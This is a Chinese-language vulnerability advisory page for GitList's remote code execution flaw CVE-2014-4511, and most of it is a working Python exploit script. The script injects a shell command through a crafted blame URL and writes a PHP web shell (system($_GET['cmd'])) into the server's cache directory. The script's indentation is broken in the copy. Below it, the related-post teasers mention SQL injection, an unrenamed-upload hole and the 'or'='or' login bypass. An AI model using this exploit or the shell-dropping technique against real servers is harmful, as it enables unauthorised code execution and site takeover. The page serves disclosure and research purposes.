GitList远程代码执行漏洞(CVE-2014-4511)

所属分类: 网络安全 / 漏洞分析 阅读数: 160
收藏 0 赞 0 分享

受影响系统:
GitList GitList < 0.4.0
 GitList GitList
描述:
--------------------------------------------------------------------------------
BUGTRAQ  ID: 68253
 CVE(CAN) ID: CVE-2014-4511
 
GitList是用PHP编写的开源软件,是git库浏览器。
 
GitList 0.4.0之前版本在实现上存在远程代码执行漏洞,远程攻击者可利用此漏洞执行任意代码。
 
<*来源:drone
  *>
测试方法: --------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!


复制代码
代码如下:

from commands import getoutput
import urllib
import sys
from commands import getoutput
import urllib
import sys
"""
Exploit Title: Gitlist <= 0.4.0 anonymous RCE
Date: 06/20/2014
Author: drone (@dronesec)
Vendor Homepage: <a href="http://gitlist.org/">http://gitlist.org/</a>
Software link: <a href="https://s3.amazonaws.com/gitlist/gitlist-0.4.0.tar.gz">https://s3.amazonaws.com/gitlist/gitlist-0.4.0.tar.gz</a>
Version: <= 0.4.0
Fixed in: 0.5.0
Tested on: Debian 7
More information: <a href="http://hatriot.github.io/blog/2014/06/29/gitlist-rce/">http://hatriot.github.io/blog/2014/06/29/gitlist-rce/</a>
cve: CVE-2014-4511
"""
if len(sys.argv) <= 1:
print '%s: [url to git repo] {cache path}' % sys.argv[0]
print ' Example: python %s <a href="http://localhost/gitlist/my_repo.git'">http://localhost/gitlist/my_repo.git'</a> % sys.argv[0]
print ' Example: python %s <a href="http://localhost/gitlist/my_repo.git">http://localhost/gitlist/my_repo.git</a> /var/www/git/cache' % sys.argv[0]
sys.exit(1)
url = sys.argv[1] url = url if url[-1] != '/' else url[:-1]
path = "/var/www/gitlist/cache"
if len(sys.argv) > 2:
path = sys.argv[2]
print '[!] Using cache location %s' % path
# payload <?system($_GET['cmd']);?> payload = "PD9zeXN0ZW0oJF9HRVRbJ2NtZCddKTs/Pgo="
# sploit; python requests does not like this URL, hence wget is used
mpath = '/blame/master/""`echo {0}|base64 -d > {1}/x.php`'.format(payload, path)
mpath = url+ urllib.quote(mpath)
out = getoutput("wget %s" % mpath)
if '500' in out:
print '[!] Shell dropped; go hit %s/cache/x.php?cmd=ls' % url.rsplit('/', 1)[0]
else:
print '[-] Failed to drop'
print out

建议:
--------------------------------------------------------------------------------
厂商补丁:
 
GitList
 -------
 目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
 
http://gitlist.org/

更多精彩内容其他人还在看

织梦管理系统后台查找

  有时在通过注射得到织梦程序的管理密码时,却发现找不到后台地址。。   这个时候 大家可以尝试下在地址后面加上:/include/dialog/select_media.php?f=form1.murl   但不一定通杀。。  
收藏 0 赞 0 分享

ckeditor/DesignCms上传漏洞

  今天日站发现的....   http://www.xxx.net/manage/Modle/UploadFile/ListFiles.aspx 上传洞洞   上传后没改文件名!可以IIS解析   后面的事,你懂的~   有点像FCK ...   我晕了...这程式漏洞真多  
收藏 0 赞 0 分享

DedeCmsV5.6 本地包含又一利用方式

  续本地包含   include/arc.datalist.class.php   $codefile = (isset($needCode) ? $needCode : $cfg_soft_lang);   if(file_exists(DEDEINC.'/code/data
收藏 0 赞 0 分享

phpcms V9 BLind SQL 注入漏洞0day

  影响版本:phpcms v9 blind  phpcms v9 blind 参数过滤存在SQL注入漏洞。
收藏 0 赞 0 分享

AWBS 2.9.2 Blind SQL 注入0day

AWBS 2.9.2 Blind SQL 注入0day,大家可以参考下。
收藏 0 赞 0 分享

金山毒霸多个sql注入及XSS漏洞和修复

金山毒霸多个sql注入及XSS漏洞和修复,需要的朋友可以参考下。
收藏 0 赞 0 分享

Zblog最新跨站漏洞及利用代码

Js里可以写shell,添加用户,偷取COOKIE然后模拟出真正的转向
收藏 0 赞 0 分享

xyxcms v1.3 小游戏CMS 漏洞说明

国内最专业的ASP网站内容管理系统-小游戏管理系统,他将是您轻松建站的首选利器。挺好的一个系统,就是有点小问题,大家可以修改下。
收藏 0 赞 0 分享

Discuz X1.5 用不到 Gmail SSL SMTP

前天 16:50 上传 下载附件 (34.22 KB) ,窃听器哪里有卖 设置如上,车辆跟踪器,登入 username 及 password 都再三确认 但用「检测」就弹出以下错误 前天 16:50 上传 下载附件 (12.73 KB) 请问
收藏 0 赞 0 分享

万能密码漏洞以及修复

  万能密码漏洞以及修复   记得几年前要入侵一个企业网站超级简单   一般只需要找到后台 还有后台通常是www.xxx.com/admin/   然后账号 密码都是'or'='or' 就进去   现在好像有几个也可以用 但是已经没那么普及了   如果网站还出现这种“
收藏 0 赞 0 分享
查看更多